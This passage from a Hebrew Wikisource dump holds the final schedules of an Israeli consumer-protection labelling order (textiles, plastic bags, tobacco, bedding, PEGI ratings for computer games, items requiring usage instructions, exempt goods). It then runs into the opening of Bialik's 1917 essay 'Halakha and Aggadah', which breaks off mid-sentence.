{{ח:תת|סוג=הגדרה}} ”סיבים סינתטיים“ – סיבים העשויים בדרך מלאכותית מחומר סינתטי.
{{ח:תת|(ב)}} במוצר הלבשה המסומן בתווית לועזית, הכוללת הוראות כביסה וגיהוץ בצורת סימנים גראפיים או ספרות המציינת מידות, אין חובה לסמן את הסימנים הגראפיים או הספרות בעברית.
{{ח:תת|(ג)|(1)}} הסימון יהיה ברור ובר קיימא וייעשה על מוצר ההלבשה גופו, או על גבי תווית עשויה מבד התפורה היטב או המחוברת דרך קבע באופן אחר למוצר ההלבשה, ובלבד שתווית או סימון המצויים על גבי מוצר ההלבשה גופו יהיו עמידים בכביסה.
{{ח:תתת|(1א)}} על אף האמור בפסקה (1) –
{{ח:תתתת|(א)}} סימון גרביים, כובעים, צעיפים וכפפות, ייעשה על גבי האריזה או על גבי תווית שתוצמד להם היטב, או לאריזתם, בהדבקה;
{{ח:תתתת|(ב)}} הסימון בעברית על מוצר הלבשה, למעט מוצר הלבשה כאמור בפסקת משנה (א), יכול שייעשה על גבי תג המחובר שלא בדרך קבע למוצר ההלבשה ובלבד שגודל מוצר ההלבשה, הוראות כביסה וניקוי והוראות גיהוץ כאמור בסעיף קטן (ד)(3) עד (5), סומנו בהתאם לפסקה (1).
{{ח:תתת|(1ב)}} על אף האמור {{ח:פנימי|סעיף 4|בסעיף 4 לצו זה}}, מוצר הלבשה הנמכר בעסקת מכר מרחוק באמצעות האינטרנט יכול שלא יסומן בעברית ובלבד שהתקיימו לגביו אלה:
{{ח:תתתת|(א)}} העוסק גילה לצרכן בעברית את פרטי הסימון הנוגעים לעניין לפי הוראות צו זה בשלב השיווק מרחוק;
{{ח:תתתת|(ב)}} גודל מוצר ההלבשה, הוראות כביסה וניקוי והוראות גיהוץ כאמור בסעיף קטן (ד)(3) עד (5) סומנו בהתאם לפסקה (1);
{{ח:תתתת|(ג)}} בסעיף קטן זה, ”עסקת מכר מרחוק“, ו”שיווק מרחוק“ – כהגדרתם {{ח:חיצוני|חוק הגנת הצרכן#סעיף 14ג|בסעיף 14ג(ו) לחוק}}.
{{ח:תתת|(2)}} היה מוצר ההלבשה מורכב ממספר פריטים או יחידות, אשר לכל אחד מהם הרכב סיבים שונה או תכונות אחרות שונות, הטעונות סימון, חייבים כל פריט או יחידה סימון נפרד, אולם אם כל הפריטים או היחידות נמכרים לצרכן יחד כמוצר הלבשה אחד, מותר לסמן את כל הטעון סימון על תווית אחת תוך הפרדה ברורה בין הפרטים המתייחסים לכל פריט או יחידה.
{{ח:תתת|(3)}} היה המוצר מורכב ממספר פריטים או יחידות, הנמכרים לצרכן יחד כמוצר הלבשה אחד ואשר כל תכונותיהם הטעונות סימון זהות – מותר לסמן את הטעון סימון על תווית אחת.
{{ח:תת|(ד)}} הסימון יכלול גם פרטים אלה:
{{ח:תתת|(1)}} שם הסיב שממנו עשוי מוצר ההלבשה כגון, כותנה, פוליאסטר, ויסקוזה, משי, צמר, אקרילן, אנגורה, פשתן, ובלבד שלא יצוין מוצר ההלבשה כעשוי מאחד הסיבים האמורים בלבד, אם משקל הסיב באחוזים קטן מ־85%, ואם הוא עשוי מתערובת של סיבים שונים, יצוינו שמות הסיבים ומשקלם באחוזים, לפי סדר יורד;
{{ח:תתת|(2)}} עשוי מוצר הלבשה מעור מעובד של בקר, צאן או חזיר, יצוין העור המעובד שממנו עשוי מוצר ההלבשה;
{{ח:תתת|(3)}} גודל מוצר ההלבשה יצוין בספרות או במילים ”קטן“, ”בינוני“, ”גדול“ או ”גדול מאוד“ ואולם על אף האמור {{ח:פנימי|סעיף 4|בסעיף 4 לצו זה}}, מותר במקום המילים האמורות להשתמש באותיות האנגליות S‏, M‏, L‏, XL‏, XXL‏, XXXL;
{{ח:תתת|(4)}} על אף האמור בפסקה (3), ניתן לסמן מוצר הלבשה לתינוקות וילדים, במספרים או במילים המציינים טווח גיל;
{{ח:תתת|(5)}} על אף האמור {{ח:פנימי|סעיף 4|בסעיף 4 לצו זה}}, הוראות כביסה וניקוי והוראות גיהוץ, ניתן לסמן בסימון גרפי כאמור בת״י 572 טקסטיל – סימון והוראות טיפול באמצעות סמלים מספטמבר 2000;
{{ח:תתת|(6)}} בגרביונים הסרוגים מחוטים סינתטיים או מלאכותיים, יצוין עובי החוטים ביחידות דניה (Denier);
{{ח:תתת|(7)}} מוצר הלבשה שנצבע או יוצר מחוטים או מסיבים צבועים או מאריג מודפס, לא יסומן בסימון שממנו נובע כי הצבע קבוע או יציב, אלא אם כן הצבע הוא בעל יציבות 4 לגבי כל גורם, כאמור בת״י 916 שיטות לבדיקת יציבות הצבע של מוצרי טקסטיל מאוגוסט 1998.
{{ח:תת|(ה)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ו)}} {{ח:הערה|(בוטל).}}

{{ח:סעיף*|11||תיקון: תשס״ה|עוגן=תוספת 2 פרט 11}}
{{ח:ת}} {{ח:הערה|(נמחק).}}

{{ח:סעיף*|12|שקיות פוליאתילן|תיקון: תשמ״ו־2, תשמ״ט־2, תשנ״ד, תשנ״ו, תשנ״ז־2, תשס״ה|עוגן=תוספת 2 פרט 12}}
{{ח:תת|(א)}} בסעיף זה, ”שקיות פוליאתילן“ – שקיות פוליאתילן המשמשות לאריזת טובין.
{{ח:תת|(ב)}} השקיות מפוליאתילן ייארזו בחבילות או בגלילים; כל חבילה או גליל יכילו שקיות זהות בגודלן ובעובין.
{{ח:תת|(ג)}} הסימון על החבילה או על הגליל יכלול גם פרטים אלה:
{{ח:תתת|(1)}} מידות השקיות בס״מ, אורך, רוחב (כולל הקפלים, אם ישנם); הספרות המציינות את המידות יבלטו לעין משאר פרטי הסימון וגובהן יהיה 4 מ״מ לפחות;
{{ח:תתת|(2)}} מספר השקיות שבחבילה או בגליל;
{{ח:תתת|(3)|(א)}} בשקיות אוכל (עד למידות 30 על 40 ס״מ), מספר השקיות יהיה בכפולות של 50;
{{ח:תתתת|(ב)}} בשקיות אשפה ביתיות (מעל למידות 30 על 40 ס״מ), מספר השקיות יהיו בכפולות של 5.

{{ח:סעיף*|13|תיקים|תיקון: תשנ״ו, תשס״ה|עוגן=תוספת 2 פרט 13}}
{{ח:תת|(א)}} בסעיף זה –
{{ח:תת|סוג=הגדרה}} ”תיק“ – ארנקי גברים, ארנקי נשים, תיקים מכל הסוגים, מזוודות, חפצי נסיעה, ילקוטים מכל הסוגים, תרמילים מכל הסוגים.
{{ח:תת|(ב)}} הסימון של מזוודות ותרמילים יכלול את קיבולם במטרים מעוקבים.
{{ח:תת|(ג)}} הסימון ייעשה על גבי תווית שתהיה תפורה או מודבקת על התיק.

{{ח:סעיף*|14||תיקון: תשס״ה|עוגן=תוספת 2 פרט 14}}
{{ח:ת}} {{ח:הערה|(נמחק).}}

{{ח:סעיף*|15||תיקון: תשס״ה|עוגן=תוספת 2 פרט 15}}
{{ח:ת}} {{ח:הערה|(נמחק).}}

{{ח:סעיף*|16||תיקון: תשמ״ה, תשנ״ג, תשנ״ה־2, תשס״ה|עוגן=תוספת 2 פרט 16}}
{{ח:ת}} {{ח:הערה|(נמחק).}}
{{ח:ת}} {{ח:הערה|(לפי תיקון תשס״ה, סעיף 16א לתוספת השניה יימחק, אולם הכוונה היא לסעיף 16).}}

{{ח:סעיף*|17|סימון מוצרי טבק|תיקון: תשס״ד, תשס״ה־2|עוגן=תוספת 2 פרט 17}}
{{ח:תת|(א)}} בסעיף זה, ”מוצר טבק“ – כהגדרתו {{ח:חיצוני|חוק הגבלת הפרסומת למוצרי טבק לעישון|בחוק הגבלת הפרסומת למוצרי טבק לעישון, התשמ״ג–1983}} (להלן – חוק הגבלת הפרסומת).
{{ח:תת|(ב)}} על אריזת מוצר טבק לא יופיע:
{{ח:תתת|(1)}} טקסט, שם, סימן מסחר, תיאור גרפי, או סימון שיש בו כדי לרמוז כי מוצר הטבק מזיק פחות ממוצרי טבק אחרים;
{{ח:תתת|(2)}} ציון של המונחים כלהלן, בין כלשונם ובין בתרגומם לעברית או לערבית או בכינויים או מילים דומות להן, נגזרות מהן או בעלות משמעות דומה low tar, ultra light, light, mild.
{{ח:תת|(ג)}} מוצר טבק יסומן באזהרה לפי הוראות {{ח:חיצוני|חוק הגבלת הפרסומת למוצרי טבק לעישון|חוק הגבלת הפרסומת}}; ואולם על אף האמור {{ח:פנימי|סעיף 2|בסעיף 2(ה)(1) לצו זה}}, סימון כאמור יודפס על גבי החפיסה או הקופסה ולא על גבי האריזה השקופה; לענין מוצרי טבק שאינם סיגריות, הסימון יכול שייעשה על גבי תווית שתודבק היטב לחפיסה או לקופסה באופן שתימנע הסרתה, לרבות לאריזה שקופה ובלבד שאריזה שקופה כאמור אינה מוסרת בשימוש רגיל בעת פתיחת האריזה; התווית לא תוסתר על ידי סימון אחר ולא תיפגע עם פתיחת הקופסה או החפיסה.

{{ח:סעיף*|18|כלי מיטה ומגבת|תיקון: תשס״ז, תשע״ט|עוגן=תוספת 2 פרט 18}}
{{ח:תת|(א)}} בסעיף זה, ”כלי מיטה“ – לרבות שמיכה, כרית, מצעים וכדומה.
{{ח:תת|(ב)}} בכלי מיטה ומגבת, יצוינו פרטי הסימון כמפורט להלן:
{{ח:תתת|(1)}} שם הסיב שממנו הם עשויים ובלבד שלא יצוינו כלי המיטה והמגבת כעשויים מאחד הסיבים, אם משקל הסיב באחוזים קטן מ־85%, ואם הם עשויים מתערובת של סיבים שונים, יצוינו שמות הסיבים ומשקלם באחוזים לפי סדר יורד;
{{ח:תתת|(2)}} על אף האמור {{ח:פנימי|סעיף 4|בסעיף 4 לצו זה}}, הוראות כביסה וניקוי והוראות גיהוץ, ניתן לסמן בסימון גרפי כאמור בת״י 572 טקסטיל – סימון והוראות טיפול באמצעות סמלים מספטמבר 2000;
{{ח:תתת|(3)}} האורך והרוחב בסנטימטרים.
{{ח:תת|(ג)}} הסימון יהיה ברור ובר־קיימא וייעשה על גבי תווית עשויה מבד התפורה היטב או מחוברת דרך קבע באופן אחר לכלי מיטה ומגבת ובלבד שהתווית תהיה עמידה בכביסה.
{{ח:תת|(ד)}} על אף האמור בסעיף קטן (ג), הסימון בעברית על כלי מיטה ומגבת יכול שייעשה על גבי האריזה או על גבי תג המחובר שלא בדרך קבע לכלי המיטה ומגבת ובלבד שהוראות כביסה וניקוי והוראות גיהוץ סומנו בהתאם לסעיף קטן (ג).
{{ח:תת|(ה)}} על אף האמור {{ח:פנימי|סעיף 4|בסעיף 4 לצו זה}}, כלי מיטה ומגבת הנמכרים בעסקת מכר מרחוק באמצעות האינטרנט יכול שלא יסומנו בעברית ובלבד שהתקיימו לגביהם אלה:
{{ח:תתת|(1)}} העוסק גילה לצרכן בעברית את פרטי הסימון הנוגעים לעניין לפי הוראות {{ח:חיצוני|חוק הגנת הצרכן|החוק}} וצו זה בשלב השיווק מרחוק;
{{ח:תתת|(2)}} הוראות כביסה וניקוי והוראות גיהוץ כאמור בסעיף קטן (ב)(2) סומנו בהתאם לסעיף קטן (ג);
{{ח:תתת|(3)}} בסעיף קטן זה, ”עסקת מכר מרחוק“ ו”שיווק מרחוק“ – כהגדרתם {{ח:חיצוני|חוק הגנת הצרכן#סעיף 14ג|בסעיף 14ג(ו) לחוק}}.

{{ח:סעיף*|19|משחק מחשב|תיקון: תשס״ח|עוגן=תוספת 2 פרט 19}}
{{ח:תת|(א)}} בסעיף זה, ”משחק מחשב“ – משחק אינטראקטיבי שהוא תוכנה, כגון משחק וידאו, לומדה חינוכית ועיונית, השמור במדיה מגנטית, אופטית או פיסית אחרת.
{{ח:תת|(ב)}} כל משחק מחשב יסומן בסמל שקבע ארגון {{ח:חיצוני|http://pegi.info|Pan-European Game Information‏ (PEGI)}} כמתואר בטור א׳ להלן, אם הוא מתאים לתיאור שבטור ב׳ לצדו; הסימול יהיה על גבי הטובין או על גבי אריזתם הקבועה:
{{ח:תת}} &lt;table border=&quot;0&quot; width=&quot;500&quot;&gt;
&lt;tr&gt;&lt;th width=&quot;100&quot;&gt;{{מוקטן|טור א׳}} {{ש}} סימול&lt;/th&gt;&lt;th&gt;{{מוקטן|טור ב׳}} {{ש}} משחק מחשב&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI Discrimination.svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;עלול לעודד הפליה;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI Drugs.svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;המתייחס לשימוש בסמים;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:Pegi Fear.svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;העלול להפחיד לילדים;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI Bad language.svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;המכיל שפה גסה;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;המתאר עירום או התנהגות מינית;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI Violence.svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;המכיל תיאור של אלימות;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI Gambling.svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;המדריך או המעודד הימורים;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI 3 (2003-2009).svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;מתאים לגילאי 3 ומעלה;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI 7 (2003-2009).svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;מתאים לגילאי 7 ומעלה;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI 12 (2003-2009).svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;מתאים לגילאי 12 ומעלה;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI 16 (2003-2009).svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;מתאים לגילאי 16 ומעלה;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;[[Image:PEGI 18 (2003-2009).svg|50px|link=]]&lt;/td&gt;&lt;td style=&quot;vertical-align:middle;&quot;&gt;מתאים לגילאי 18 ומעלה.&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
{{ח:תת|(ג)}} משחק מחשב המסומן באחד או יותר משבעת הסימולים הראשונים, כאמור בטור א׳ בטבלה שבסעיף זה, יסומן גם באמור לגביו בטור ב׳ לצדו.
{{ח:תת|(ד)}} על אף האמור בסעיף קטן (ג), הסימון כאמור בטור ב׳ יכול שיהיה באמצעות מקרא כולל לשבעת הסימולים הראשונים כאמור, ובלבד שהמקרא יהיה לצד הסימול; המקרא יהיה בגודל שלא יפחת מאורך של 5 סנטימטרים ורוחב של 4 סנטימטרים.
{{ח:תת|(ה)}} הסימון, כאמור בסעיפים קטנים (ג) ו־(ד), יהיה בעברית באותיות מודגשות, בגודל שלא יפחת מ־2 מילימטרים; הסימון יהיה על גבי המוצר או על גבי אריזתו.

{{ח:קטע3|תוספת 3|תוספת שלישית}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 7|סעיף 7}})}}}}

{{ח:סעיף*}}
{{ח:ת}} למוצרים הבאים יש לצרף הוראות שימוש:

{{ח:סעיף*|1||עוגן=תוספת 3 פרט 1}}
{{ח:ת}} סירי לחץ;

{{ח:סעיף*|2||עוגן=תוספת 3 פרט 2}}
{{ח:ת}} סיפוני מתכת לייצור מי סודה;

{{ח:סעיף*|3||תיקון: תשמ״ט־5|עוגן=תוספת 3 פרט 3}}
{{ח:ת}} צבעים וחמרי איטום;

{{ח:סעיף*|4||עוגן=תוספת 3 פרט 4}}
{{ח:ת}} טמפונים (תוכן הוראות השימוש חייב באישור משרד הבריאות);

{{ח:סעיף*|5||תיקון: תשמ״ח־3, תשנ״ה־3|עוגן=תוספת 3 פרט 5}}
{{ח:ת}} חמרי ניקוי, אבקות כביסה, נוזלים לכביסה, תכשירים לניקוי כלים, תכשירים לניקוי, כימיקלים לשימוש ביתי, חומרים לפתיחת סתימות ביוב ביתיות;

{{ח:סעיף*|6||עוגן=תוספת 3 פרט 6}}
{{ח:ת}} מכלי ארוסול לשימוש ביתי;

{{ח:סעיף*|7||תיקון: תשמ״ד|עוגן=תוספת 3 פרט 7}}
{{ח:ת}} כריות וסדינים חשמליים;

{{ח:סעיף*|8||תיקון: תשמ״ד|עוגן=תוספת 3 פרט 8}}
{{ח:ת}} שעונים דיגיטליים;

{{ח:סעיף*|9||תיקון: תשמ״ד|עוגן=תוספת 3 פרט 9}}
{{ח:ת}} מצלמות;

{{ח:סעיף*|10||תיקון: תשמ״ד־2|עוגן=תוספת 3 פרט 10}}
{{ח:ת}} מכונות תפירה חשמליות לשימוש ביתי;

{{ח:סעיף*|11||תיקון: תשמ״ד־2|עוגן=תוספת 3 פרט 11}}
{{ח:ת}} מערבלי מזון ביתיים;

{{ח:סעיף*|12||תיקון: תשמ״ד־2|עוגן=תוספת 3 פרט 12}}
{{ח:ת}} סכינים חשמליים לחיתוך;

{{ח:סעיף*|13||תיקון: תשמ״ד־2|עוגן=תוספת 3 פרט 13}}
{{ח:ת}} שואבי אבק ביתיים;

{{ח:סעיף*|14||תיקון: תשמ״ד־2|עוגן=תוספת 3 פרט 14}}
{{ח:ת}} מייבשי כביסה ביתיים;

{{ח:סעיף*|15||תיקון: תשמ״ו|עוגן=תוספת 3 פרט 15}}
{{ח:ת}} מגהצים;

{{ח:סעיף*|16||תיקון: תשמ״ו|עוגן=תוספת 3 פרט 16}}
{{ח:ת}} מייבשי שיער;

{{ח:סעיף*|17||תיקון: תשמ״ו|עוגן=תוספת 3 פרט 17}}
{{ח:ת}} מכונות גילוח;

{{ח:סעיף*|18||תיקון: תשמ״ו|עוגן=תוספת 3 פרט 18}}
{{ח:ת}} מסחטות חשמליות;

{{ח:סעיף*|19||תיקון: תשמ״ו|עוגן=תוספת 3 פרט 19}}
{{ח:ת}} מפזרי חום;

{{ח:סעיף*|20||תיקון: תשמ״ו|עוגן=תוספת 3 פרט 20}}
{{ח:ת}} מצננים;

{{ח:סעיף*|21||תיקון: תשמ״ו־3|עוגן=תוספת 3 פרט 21}}
{{ח:ת}} מערכות סטריאו;

{{ח:סעיף*|22||תיקון: תשמ״ו־3|עוגן=תוספת 3 פרט 22}}
{{ח:ת}} מכשירי וידאו;

{{ח:סעיף*|23||תיקון: תשמ״ו־3|עוגן=תוספת 3 פרט 23}}
{{ח:ת}} מכשירי גז ביתיים לשימוש בגז פחממני מעובה (הוראות בטיחותיות);

{{ח:סעיף*|24||תיקון: תשמ״ו־3|עוגן=תוספת 3 פרט 24}}
{{ח:ת}} תנורי מיקרו־גל;

{{ח:סעיף*|25||תיקון: תשמ״ו־3|עוגן=תוספת 3 פרט 25}}
{{ח:ת}} תנורי נפט;

{{ח:סעיף*|26||תיקון: תשמ״ז, תשמ״ט־6|עוגן=תוספת 3 פרט 26}}
{{ח:ת}} מחשבים אישיים כולל מדפסת;

{{ח:סעיף*|27||תיקון: תשמ״ז־2|עוגן=תוספת 3 פרט 27}}
{{ח:ת}} חלקיו של טובין להרכבה עצמית;

{{ח:סעיף*|28||תיקון: תשמ״ז־3|עוגן=תוספת 3 פרט 28}}
{{ח:ת}} מדיח כלים ביתי;

{{ח:סעיף*|28א||תיקון: תשמ״ח, תש״ן|עוגן=תוספת 3 פרט 28א}}
{{ח:ת}} תנורי בישול ואפיה;

{{ח:סעיף*|29||תיקון: תשמ״ח|עוגן=תוספת 3 פרט 29}}
{{ח:ת}} מקדחות חשמליות;

{{ח:סעיף*|30||תיקון: תשמ״ח|עוגן=תוספת 3 פרט 30}}
{{ח:ת}} משורי שולחן חשמליים;

{{ח:סעיף*|31||תיקון: תשמ״ח|עוגן=תוספת 3 פרט 31}}
{{ח:ת}} מלחמים;

{{ח:סעיף*|32||תיקון: תשמ״ח־4, תשמ״ט|עוגן=תוספת 3 פרט 32}}
{{ח:ת}} דבק נוזלי באריזות הקטנות מ־1 ק״ג;

{{ח:סעיף*|33||תיקון: תש״ן־2|עוגן=תוספת 3 פרט 33}}
{{ח:ת}} מכונות סריגה ביתיות;

{{ח:סעיף*|34||תיקון: תשנ״ד|עוגן=תוספת 3 פרט 34}}
{{ח:ת}} חומר המיועד לניקוי עדשות ראיה ולעדשות משקפיים;

{{ח:סעיף*|35||תיקון: תשנ״ד|עוגן=תוספת 3 פרט 35}}
{{ח:ת}} משחקים אלקטרוניים;

{{ח:סעיף*|36||תיקון: תשנ״ד|עוגן=תוספת 3 פרט 36}}
{{ח:ת}} מצלמות וידיאו;

{{ח:סעיף*|37||תיקון: תשנ״ד|עוגן=תוספת 3 פרט 37}}
{{ח:ת}} מכשירי רדיו טייפ;

{{ח:סעיף*|38||תיקון: תשנ״ד|עוגן=תוספת 3 פרט 38}}
{{ח:ת}} מערכות קומפקט דיסק;

{{ח:סעיף*|39||תיקון: תשנ״ד־2|עוגן=תוספת 3 פרט 39}}
{{ח:ת}} אמבטיות ז׳קוזי;

{{ח:סעיף*|40||תיקון: תשנ״ד־2|עוגן=תוספת 3 פרט 40}}
{{ח:ת}} מקרני שקופיות ומטולי תמונות;

{{ח:סעיף*|41||תיקון: תשנ״ד־2|עוגן=תוספת 3 פרט 41}}
{{ח:ת}} ממיסי חלודה ומדללים לשימוש ביתי;

{{ח:סעיף*|42||תיקון: תשנ״ד־2|עוגן=תוספת 3 פרט 42}}
{{ח:ת}} טפטים;

{{ח:סעיף*|43||תיקון: תשנ״ה־2|עוגן=תוספת 3 פרט 43}}
{{ח:ת}} חומצת מלח לשימוש ביתי;

{{ח:סעיף*|44||תיקון: תשנ״ט|עוגן=תוספת 3 פרט 44}}
{{ח:ת}} מכסחות דשא;

{{ח:סעיף*|45||תיקון: תשנ״ט־2|עוגן=תוספת 3 פרט 45}}
{{ח:ת}} סורק;

{{ח:סעיף*|46||תיקון: תשנ״ט־2|עוגן=תוספת 3 פרט 46}}
{{ח:ת}} מודם;

{{ח:סעיף*|47||תיקון: תשס״ב|עוגן=תוספת 3 פרט 47}}
{{ח:ת}} מערכות קולנוע ביתי;

{{ח:סעיף*|48||תיקון: תשס״ב|עוגן=תוספת 3 פרט 48}}
{{ח:ת}} מערכות שמע וסראונד;

{{ח:סעיף*|49||תיקון: תשס״ב|עוגן=תוספת 3 פרט 49}}
{{ח:ת}} מכשירי DVD;

{{ח:סעיף*|50||תיקון: תשס״ב|עוגן=תוספת 3 פרט 50}}
{{ח:ת}} מחשבי כף היד;

{{ח:סעיף*|51||תיקון: תשס״ב|עוגן=תוספת 3 פרט 51}}
{{ח:ת}} מברגות חשמליות;

{{ח:סעיף*|52||תיקון: תשס״ה|עוגן=תוספת 3 פרט 52}}
{{ח:ת}} מכשירים ותכשירים רפואיים המיועדים לשימוש עצמי.

{{ח:קטע3|תוספת 4|תוספת רביעית}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 8|סעיף 8}})}}}}

{{ח:סעיף*|1||תיקון: תשמ״ח־2, תשנ״ז|עוגן=תוספת 4 פרט 1}}
{{ח:ת}} {{ח:הערה|(נמחק);}}

{{ח:סעיף*|2||תיקון: תשנ״ט|עוגן=תוספת 4 פרט 2}}
{{ח:ת}} {{ח:הערה|(נמחק);}}

{{ח:סעיף*|3||תיקון: תשנ״ד|עוגן=תוספת 4 פרט 3}}
{{ח:ת}} {{ח:הערה|(בוטל);}}

{{ח:סעיף*|4||תיקון: תשנ״ד, תשנ״ד־2|עוגן=תוספת 4 פרט 4}}
{{ח:ת}} {{ח:הערה|(בוטל);}}

{{ח:סעיף*|5||תיקון: תשמ״ד|עוגן=תוספת 4 פרט 5}}
{{ח:ת}} סיגריות, סיגרים וסיגרילות, טבק מעובד, טומבק מעובד וטבק או טומבק להרחה;

{{ח:סעיף*|6||תיקון: תשמ״ד, תשנ״ז־3|עוגן=תוספת 4 פרט 6}}
{{ח:ת}} {{ח:הערה|(בוטל);}}

{{ח:סעיף*|7||תיקון: תשמ״ד־2, תשנ״ט|עוגן=תוספת 4 פרט 7}}
{{ח:ת}} {{ח:הערה|(נמחק);}}

{{ח:סעיף*|8||תיקון: תשס״ז|עוגן=תוספת 4 פרט 8}}
{{ח:ת}} מצרך מוחדש.

{{ח:קטע3|תוספת 5|תוספת חמישית}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 9|סעיף 9}})}}}}

{{ח:סעיף*|1||עוגן=תוספת 5 פרט 1}}
{{ח:ת}} מזון;

{{ח:סעיף*|2||עוגן=תוספת 5 פרט 2}}
{{ח:ת}} ספרים מודפסים, עיתונים, תמונות ומוצרים אחרים של תעשית הדפוס, כתבי־יד, כתבי הדפסה ותרשימים;

{{ח:סעיף*|3||עוגן=תוספת 5 פרט 3}}
{{ח:ת}} נוצות ומוך מוכנים ומוצרי נוצות או מוך, פרחים מלאכותיים;

{{ח:סעיף*|4||עוגן=תוספת 5 פרט 4}}
{{ח:ת}} כפתורים, לחצניות ורוכסנים;

{{ח:סעיף*|5||עוגן=תוספת 5 פרט 5}}
{{ח:ת}} מילויים לעטים;

{{ח:סעיף*|6||עוגן=תוספת 5 פרט 6}}
{{ח:ת}} צפורניים וחודים לעטים;

{{ח:סעיף*|7||עוגן=תוספת 5 פרט 7}}
{{ח:ת}} מסרקות ומחזיקי שיער;

{{ח:סעיף*|8||עוגן=תוספת 5 פרט 8}}
{{ח:ת}} יצירות אמנות, מוצרים בודדים של אוספים ועתיקות.

{{ח:חתימות|ט״ו בכסלו התשמ״ג (1 בדצמבר 1982)}}
* '''גדעון פת'''&lt;br&gt;שר התעשיה והמסחר
{{ח:סוגר}}
{{ח:סוף}}
[[קטגוריה:בוט חוקים]]</text>
      <sha1>gsomljbri6glfjx2fj92txl1wnllnqn</sha1>
    </revision>
  </page>
  <page>
    <title>הלכה ואגדה</title>
    <ns>0</ns>
    <id>281050</id>
    <revision>
      <id>3020767</id>
      <parentid>2895891</parentid>
      <timestamp>2026-06-19T11:34:02Z</timestamp>
      <contributor>
        <username>שילוני</username>
        <id>5164</id>
      </contributor>
      <comment>הרחבה, ויקיזציה</comment>
      <origin>3020767</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="57216" sha1="04mfs59g0yx947qjdotk7f9ui982xvo" xml:space="preserve">&lt;center&gt;'''הלכה ואגדה

{{מח|חיים נחמן ביאליק}}, 1917

'''&lt;/center&gt;
להלכה – פנים זועפות, לאגדה – פנים שוחקות. זו קפדנית, מחמרת, קשה כברזל – מדת הדין; וזו ותרנית, מקילה, רכה משמן – מדת הרחמים. זו גוזרת גזרה ואינה נותנתה לשעורים: הן שלה הן ולאו שלה לאו; וזו יועצת עצה ומשערת כחו ודעתו של אדם: הן ולאו ורפה בידה. זו – קלפה, גוף, מעשה; וזו – תוך, נשמה, כוונה. כאן אדיקות מאובנת, חובה, שעבוד; וכאן התחדשות תמידית, חרות, רשות. עד כאן – על הלכה ואגדה שבחיים; ועל שבספרות מוסיפים: כאן יבֹשת של פרוזה, סגנון מוצק וקבוע, לשון אפורה בת גון אחד – שלטון השכל; וכאן לחלוחית של שירה, סגנון שוטף ובן חלוף, לשון מנומרת בצבעים – שלטון הרגש.

על חלופי כינויים אלה שבין הלכה לאגדה אפשר להוסיף עוד, עד אין שעור, ובכולם יהא מצד ידוע אבק אמת, אבל כלום יש לשמוע מזה – כסברת רבים – שההלכה והאגדה הן שתי צרות זו לזו, דבר והפוכו?

האומרים כך מחליפים מקרה בעצם וצורה בחומר, ולמה הם דומים? למי שמחליט על הקרח והמים בנהר, שהם שני חמרים שונים. ההלכה והאגדה אינן באמת אף הן אלא שתים שהן אחת, שני פנים של בריה אחת. היחס שבין זו לזו הוא כיחס שבין המלה למחשבה ולהרגשה או כיחס שבין המעשה והצורה המוחשית ובין המלה. ההלכה היא גיבושה, תמציתה האחרונה והמוכרחת של האגדה; האגדה היא היתוכה של ההלכה. קול המונה של תביעת הלב בשטף מרוצתה לנקודת שאיפתה – זוהי האגדה; מקום החניה, ספוק התביעה לפי שעה והשתקתה – זוהי ההלכה. החלום הרץ ונמשך אל הפתרון, הרצון אל המעשה, המחשבה אל המלה, הפרח אל הפרי – והאגדה אל ההלכה. ואולם גם בתוך הפרי כבר גנוז הגרעין, שממנו פרח חדש עתיד לצאת. הלכה שמתרוממת עד למדרגת סימבול – וכזאת יש, כמו שיתבאר עוד – היא עצמה נעשית אם לאגדה חדשה, אם כיוצא בה ואם לאו כיוצא בה. הלכה חיה ובריאה היא אגדה לשעבר או שלעתיד, וכן להפך. תחילתן וסופן של שתיהן נעוצים זה בזה. וכל תרי&quot;ג מצוות שבתורה מה הן אם לא תמציתם האחרונה, צירוף 